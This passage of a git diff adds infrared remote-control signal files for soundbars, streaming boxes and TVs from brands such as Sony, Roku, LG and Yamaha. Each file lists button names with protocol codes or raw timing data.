512 +# +name: Source +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4502 4433 510 511 490 506 484 511 490 506 484 1505 487 1505 487 508 493 503 487 1503 489 1476 516 1475 517 1475 517 504 486 509 492 504 486 509 492 4446 518 502 488 508 483 513 488 507 484 1507 485 511 490 1501 491 505 485 1505 487 1479 513 1478 514 507 483 512 489 1501 491 506 484 1479 513 510 491 504 487 509 492 1499 493 54983 4499 4437 517 504 486 509 492 503 487 508 493 1498 483 1508 484 511 490 506 484 1506 486 1479 513 1478 514 1477 515 507 483 512 489 507 483 512 489 4449 515 505 485 511 490 505 485 510 491 1474 518 504 486 1504 488 508 493 1497 484 1481 511 1506 486 510 491 505 485 1505 487 509 492 1498 494 502 488 507 483 512 489 1502 490 +# +name: Sound_effect +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4496 4441 510 510 490 506 484 511 489 506 484 1481 510 1483 518 502 488 508 492 1473 518 1474 517 1474 517 1474 517 504 486 510 490 505 485 510 490 4448 514 507 493 503 487 508 492 503 487 1479 512 1479 512 509 491 1475 516 1475 516 1475 516 1475 516 505 485 511 489 506 484 1482 509 512 488 507 493 502 488 508 492 1473 518 54989 4495 4441 510 510 490 505 485 511 489 506 484 1481 510 1482 509 512 488 507 493 1472 519 1472 519 1473 518 1473 518 503 487 509 491 504 486 510 490 4448 514 507 483 512 488 507 493 502 488 1478 513 1478 513 509 491 1474 517 1474 517 1474 517 1474 517 504 486 510 490 505 485 1481 510 511 489 506 484 512 488 507 483 1483 518 54988 4527 4409 511 510 490 505 485 511 489 506 484 1482 509 1482 509 512 488 507 493 1473 518 1473 518 1473 518 1473 518 503 487 509 491 504 486 510 490 4448 514 507 483 512 488 508 492 503 487 1479 512 1479 512 509 491 1475 516 1475 516 1475 516 1475 516 505 485 510 490 506 484 1482 509 511 489 507 483 512 488 507 493 1473 518 +# +name: Sound +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4495 4442 510 511 489 506 484 512 488 507 483 1482 571 1420 508 512 488 508 493 1473 518 1473 518 1473 518 1473 518 503 487 508 492 503 487 509 491 4447 515 506 484 511 489 506 484 512 488 1477 514 507 483 512 488 508 492 503 487 508 493 503 487 1479 512 509 492 1474 569 1421 570 1421 518 1474 517 1474 569 1422 517 504 486 54995 4503 4433 519 503 487 508 493 503 487 508 493 1473 518 1473 518 477 513 509 491 1474 517 1474 569 1422 517 1474 517 504 486 509 491 504 486 510 490 4448 514 507 483 512 488 507 483 513 487 1478 513 508 492 503 487 508 492 503 487 509 491 504 486 1480 511 510 490 1475 516 1475 516 1475 516 1475 516 1475 516 1475 516 505 485 +# +name: Sound_control +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4504 4433 508 512 488 507 494 502 488 508 492 1473 518 1473 518 503 487 509 491 1474 517 1474 517 1474 517 1474 517 504 486 509 491 504 486 510 490 4448 514 507 483 512 488 507 493 502 488 507 494 1473 518 1473 518 503 487 508 492 1473 518 503 487 1479 512 1479 512 509 491 504 486 1480 511 1480 511 510 490 1475 516 505 485 54996 4503 4433 519 503 487 508 492 503 487 509 491 1474 517 1474 517 504 486 509 491 1474 517 1474 517 1474 517 1474 517 504 486 510 490 505 485 510 490 4448 514 507 483 512 488 507 493 502 488 508 492 1473 518 1473 518 503 487 508 492 1474 517 503 487 1479 512 1479 512 509 491 504 486 1480 511 1480 511 510 490 1475 516 505 485 +# +name: Woofer +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4496 4440 512 510 490 479 511 485 515 480 520 1471 520 1471 520 475 515 480 520 1472 519 1472 519 1472 519 1472 519 476 514 481 519 477 513 483 517 4446 516 506 494 474 516 479 521 475 515 480 520 1472 519 475 515 1477 514 1477 514 1477 514 1477 514 481 519 1473 518 476 514 1478 513 508 492 478 512 483 517 478 512 1480 511 54996 4502 4434 518 504 486 482 518 478 512 484 516 1475 516 1475 516 504 486 484 516 1475 516 1475 516 1475 516 1475 516 505 495 474 516 506 495 475 515 4449 513 508 492 503 487 482 518 477 513 482 518 1474 517 478 512 1480 511 1480 511 1480 511 1480 511 510 490 1475 516 479 521 1471 520 474 516 480 520 475 515 507 493 1472 519 +# +name: Auto_power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4502 4435 517 479 511 484 516 479 511 485 515 1476 515 1476 515 480 510 486 514 1477 514 1477 514 1477 514 1477 514 481 519 475 515 482 518 477 513 4451 511 484 517 478 512 484 516 479 511 1480 511 484 516 479 511 1481 510 1481 510 1481 510 1481 510 485 515 481 509 1482 509 1482 509 486 514 481 519 476 514 481 519 1473 518 54987 4502 4434 518 478 512 483 517 479 511 484 516 1475 516 1475 516 478 512 485 516 1476 515 1476 515 1476 515 1476 515 479 521 475 515 480 520 476 514 4449 513 482 518 478 512 483 517 478 512 1480 511 484 516 479 511 1480 511 1480 511 1480 511 1480 521 474 516 479 521 1471 520 1471 520 501 489 480 520 475 515 481 519 1472 519 diff --git a/assets/resources/infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir b/assets/resources/infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir new file mode 100644 index 000000000..ab7a355d2 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# Sony RM-SGS3 (for MHC-GS300AV) +name: Sleep +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 60 00 00 00 +# +name: Balance Left +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 26 00 00 00 +# +name: Balance Right +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 27 00 00 00 +# +name: Power +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 15 00 00 00 +# +name: Center + +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 54 00 00 00 +# +name: Center - +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 55 00 00 00 +# +name: Rear + +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 4E 00 00 00 +# +name: Rear - +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 4F 00 00 00 +# +name: Game +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: Tape +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 23 00 00 00 +# +name: Display +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: Tuning + +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 34 00 00 00 +# +name: Preset + +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 31 00 00 00 +# +name: Album + +type: parsed +protocol: SIRC15 +address: 11 00 00 00 +command: 67 00 00 00 +# +name: Disc + +type: parsed +protocol: SIRC15 +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: Preset EQ +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 6E 00 00 00 +# +name: Groove +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 7A 00 00 00 +# +name: Vol + +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 12 00 00 00 +# +name: Vol - +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 13 00 00 00 +# +name: Surround +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 40 00 00 00 +# +name: Disc - +type: parsed +protocol: SIRC15 +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: Album - +type: parsed +protocol: SIRC15 +address: 11 00 00 00 +command: 66 00 00 00 +# +name: Tuning - +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 33 00 00 00 +# +name: Preset - +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 30 00 00 00 +# +name: Play +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 32 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 39 00 00 00 +# +name: Stop +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 38 00 00 00 +# +name: Tuner/Band +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: CD +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 25 00 00 00 +# +name: Test Tone +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 4A 00 00 00 +# +name: 5.1 ch +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 7D 00 00 00 +# +name: Video (MD) +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 22 00 00 00 +# +name: Pro Logic +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/SoundBars/Sony/Sony_Old_XBR.ir b/assets/resources/infrared/SoundBars/Sony/Sony_Old_XBR.ir new file mode 100644 index 000000000..c326b8055 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Sony/Sony_Old_XBR.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: Vol_up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: Vol_dwn +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: Mute +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir b/assets/resources/infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir new file mode 100644 index 000000000..9324f88a5 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: SIRC +address: 10 00 00 00 +command: 15 00 00 00 +# +name: Vup +type: parsed +protocol: SIRC +address: 10 00 00 00 +command: 12 00 00 00 +# +name: Vdwn +type: parsed +protocol: SIRC +address: 10 00 00 00 +command: 13 00 00 00 +# +name: Func +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 69 00 00 00 +# +name: Light +type: parsed +protocol: SIRC20 +address: 10 04 00 00 +command: 60 00 00 00 diff --git a/assets/resources/infrared/SoundBars/Vizio/Vizio_Soundbar.ir b/assets/resources/infrared/SoundBars/Vizio/Vizio_Soundbar.ir new file mode 100644 index 000000000..409f8bee6 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Vizio/Vizio_Soundbar.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 40 00 00 00 +# +name: Input +type: parsed +protocol: NEC +address: 00 00 00 00 +command: C9 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 41 00 00 00 +# +name: Vol_dwn +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 45 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 48 00 00 00 +# +name: Play_Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: Rewind +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8A 00 00 00 +# +name: Fast_Forward +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8B 00 00 00 +# +name: Bluetooth +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 22 00 00 00 +# +name: TVOL +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: VRT_X +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 50 00 00 00 +# +name: Bass +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 02 00 00 00 +# +name: EQ +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 66 00 00 00 +# +name: Treb +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/SoundBars/Yamaha/Yamaha_RX.ir b/assets/resources/infrared/SoundBars/Yamaha/Yamaha_RX.ir new file mode 100644 index 000000000..1fb761636 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Yamaha/Yamaha_RX.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: Yamaha_power +type: parsed +protocol: NEC +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: Hdmi_1 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 47 38 00 00 +# +name: Hdmi_2 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 4A 35 00 00 +# +name: Hdmi_3 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 4D 32 00 00 +# +name: Hdmi_4 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 50 2F 00 00 +# +name: Hdmi_5 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 70 0F 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: Enter +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: On_screen +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: Return +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: Option +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 6B 14 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: Vol_down +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: Pop_upmenu +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: A4 DB 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 60 9F 00 00 diff --git a/assets/resources/infrared/Streaming Devices/Apple/Apple_TV.ir b/assets/resources/infrared/Streaming Devices/Apple/Apple_TV.ir new file mode 100644 index 000000000..06b4d39b7 --- /dev/null +++ b/assets/resources/infrared/Streaming Devices/Apple/Apple_TV.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Apple_ok +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 8E 00 00 +# +name: Apple_up +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 0B 8E 00 00 +# +name: Apple_dwn +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 0D 8E 00 00 +# +name: Apple_lft +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 08 8E 00 00 +# +name: Apple_right +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 07 8E 00 00 +# +name: Apple_menu +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 8E 00 00 diff --git a/assets/resources/infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir b/assets/resources/infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir new file mode 100644 index 000000000..45735b9bd --- /dev/null +++ b/assets/resources/infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: On_off +type: parsed +protocol: NEC +address: 01 00 00 00 +command: 03 00 00 00 +# +name: Speed +type: parsed +protocol: NEC +address: 01 00 00 00 +command: 07 00 00 00 +# +name: Time +type: parsed +protocol: NEC +address: 01 00 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/Streaming Devices/Roku/Roku.ir b/assets/resources/infrared/Streaming Devices/Roku/Roku.ir new file mode 100644 index 000000000..3634b105a --- /dev/null +++ b/assets/resources/infrared/Streaming Devices/Roku/Roku.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F F0 00 00 +# +name: Ok +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 18 E7 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 42 BD 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 43 BC 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 16 E9 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 15 EA 00 00 +# +name: V_up +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: V_down +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D F2 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 1B E4 00 00 +# +name: Home +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 14 EB 00 00 diff --git a/assets/resources/infrared/Streaming Devices/Roku/Roku2.ir b/assets/resources/infrared/Streaming Devices/Roku/Roku2.ir new file mode 100644 index 000000000..77c3c767a --- /dev/null +++ b/assets/resources/infrared/Streaming Devices/Roku/Roku2.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Home +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 03 FC 00 00 +# +name: Ok +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 2A D5 00 00 +# +name: Left +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 1E E1 00 00 +# +name: Right +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 2D D2 00 00 +# +name: Up +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 19 E6 00 00 +# +name: Down +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 33 CC 00 00 +# +name: Rewind +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 34 CB 00 00 +# +name: Play +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 4C B3 00 00 +# +name: Ff +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 55 AA 00 00 +# +name: Back +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 66 99 00 00 diff --git a/assets/resources/infrared/Streaming Devices/Roku/Roku_Alternate.ir b/assets/resources/infrared/Streaming Devices/Roku/Roku_Alternate.ir new file mode 100644 index 000000000..ee283ad94 --- /dev/null +++ b/assets/resources/infrared/Streaming Devices/Roku/Roku_Alternate.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: Home +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 03 FC 00 00 +# +name: Back +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 66 99 00 00 +# +name: Vol_up +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: Vol_down +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 20 DF 00 00 +# +name: Up +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 19 E6 00 00 +# +name: Down +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 33 CC 00 00 +# +name: Left +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 1E E1 00 00 +# +name: Right +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2D D2 00 00 +# +name: Ok +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2A D5 00 00 +# +name: Return +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 78 87 00 00 +# +name: Star +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 61 9E 00 00 +# +name: Rewind +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 34 CB 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 4C B3 00 00 +# +name: Fastforward +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 55 AA 00 00 diff --git a/assets/resources/infrared/TVs/APEX LE4643T TV.ir b/assets/resources/infrared/TVs/APEX LE4643T TV.ir new file mode 100644 index 000000000..48e2bedc8 --- /dev/null +++ b/assets/resources/infrared/TVs/APEX LE4643T TV.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: Input +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 53 AC 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5E A1 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 58 A7 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5B A4 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 56 A9 00 00 +# +name: Center +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 50 AF 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 06 F9 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 07 F8 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 02 FD 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1A E5 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A F5 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5A A5 00 00 diff --git a/assets/resources/infrared/TVs/Hisense/Hisense_RokuTV.ir b/assets/resources/infrared/TVs/Hisense/Hisense_RokuTV.ir new file mode 100644 index 000000000..670e80862 --- /dev/null +++ b/assets/resources/infrared/TVs/Hisense/Hisense_RokuTV.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F F0 00 00 +# +name: Ok +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 18 E7 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 42 BD 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 43 BC 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 16 E9 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 15 EA 00 00 +# +name: V_up +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: V_down +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D F2 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 1B E4 00 00 +# +name: Home +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 14 EB 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Netflix +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: Hulu +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: Sleep +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: Opt +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: Return +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 41 00 00 00 +# +name: Seek_fwd +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: Rewind +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4F 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/TVs/LG/LG_C1.ir b/assets/resources/infrared/TVs/LG/LG_C1.ir new file mode 100644 index 000000000..ce171c66e --- /dev/null +++ b/assets/resources/infrared/TVs/LG/LG_C1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Channel_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: Channel_dn +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: Vol_dn +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 40 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 41 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 07 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 06 00 00 00 +# +name: Select +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/TVs/LG_55UN7300AUD.ir b/assets/resources/infrared/TVs/LG_55UN7300AUD.ir new file mode 100644 index 000000000..f260cde49 --- /dev/null +++ b/assets/resources/infrared/TVs/LG_55UN7300AUD.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: VolumeDown +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: VolumeUp +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: Home +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 7C 00 00 00 +# +name: Back +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 28 00 00 00 +# +name: Guide +type: parsed +protocol: NEC +address: 04 00 00 00 +command: AB 00 00 00 +# +name: Netflix +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 56 00 00 00 +# +name: PrimeVideo +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: Settings +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 43 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 04 00 00 00 +command: B0 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 04 00 00 00 +command: BA 00 00 00 +# +name: ChanUp +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: ChanDown +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: Input +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/TVs/NEC/NEC.ir b/assets/resources/infrared/TVs/NEC/NEC.ir new file mode 100644 index 000000000..2b8e86e31 --- /dev/null +++ b/assets/resources/infrared/TVs/NEC/NEC.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8073 3997 524 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 522 502 495 1505 501 501 496 504 493 1507 499 502 495 1505 501 501 496 18806 8072 3997 524 502 495 505 492 1507 499 502 495 1505 490 1509 497 1504 491 1510 496 3988 522 502 495 1505 501 500 497 503 494 1506 500 501 496 1504 491 510 498 18806 8072 3998 523 503 494 506 491 1509 497 504 493 1506 499 1501 494 1506 500 1502 493 3989 522 504 493 1507 499 502 495 505 492 1508 498 503 494 1506 499 502 495 18807 8072 3998 523 503 494 506 491 1509 497 504 493 1506 500 1501 494 1506 500 1502 493 3989 521 503 494 1506 500 502 495 505 492 1508 498 503 494 1506 500 502 495 18807 8072 3998 523 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 523 502 495 1505 501 501 496 503 494 1506 500 501 496 1504 491 510 498 +# +name: Standby +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4004 517 509 499 502 495 1505 501 500 497 1502 493 1507 498 1476 519 1482 523 3984 526 499 498 1502 493 1507 498 1477 518 507 501 500 497 1503 492 509 499 17804 8064 4004 516 510 498 503 494 1505 500 501 496 1503 492 1508 497 1503 492 1484 521 3986 524 501 496 1503 492 1508 497 1503 492 509 499 502 495 1505 500 502 495 17808 8071 3999 522 504 493 507 501 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3991 519 506 491 1508 497 1503 492 1508 497 504 493 507 501 1499 496 506 491 17814 8065 4006 525 500 497 504 493 1507 498 502 495 1504 491 1509 496 1504 491 1510 496 3987 523 502 495 1504 502 1499 496 1504 501 500 497 503 494 1506 499 502 495 17807 8072 3997 524 502 495 505 492 1508 497 503 494 1505 501 1499 496 1479 516 1485 520 3987 523 501 496 1504 491 1509 496 1479 516 510 498 503 494 1505 500 502 495 17806 8073 3996 525 501 496 505 492 1507 498 503 494 1505 500 1499 496 1479 516 1485 520 3987 523 502 495 1504 501 1499 496 1479 516 510 498 503 494 1506 499 502 495 +# +name: Vol_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 3998 522 503 494 506 491 1509 496 505 492 1507 498 1501 494 1506 499 1502 493 3989 521 1503 492 1508 497 1503 492 508 500 1501 494 506 491 510 498 504 493 17810 8067 4003 517 508 500 501 496 1504 491 510 498 1502 493 1507 498 1501 494 1508 497 3984 526 1474 521 1504 501 1500 495 505 492 1509 496 505 492 508 500 502 495 17809 8069 4000 520 506 491 509 499 1501 494 507 501 1499 496 1503 492 1508 497 1504 491 3991 519 1480 525 1500 495 1505 500 500 497 1503 492 509 499 503 494 507 490 17809 8069 3999 521 505 492 508 500 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3990 520 1504 491 1509 496 1504 491 509 499 1501 494 507 501 501 496 505 492 17808 8070 3998 523 503 494 506 491 1509 496 504 493 1507 498 1501 494 1506 499 1502 493 3988 522 1502 493 1507 498 1502 493 507 501 1500 495 505 492 509 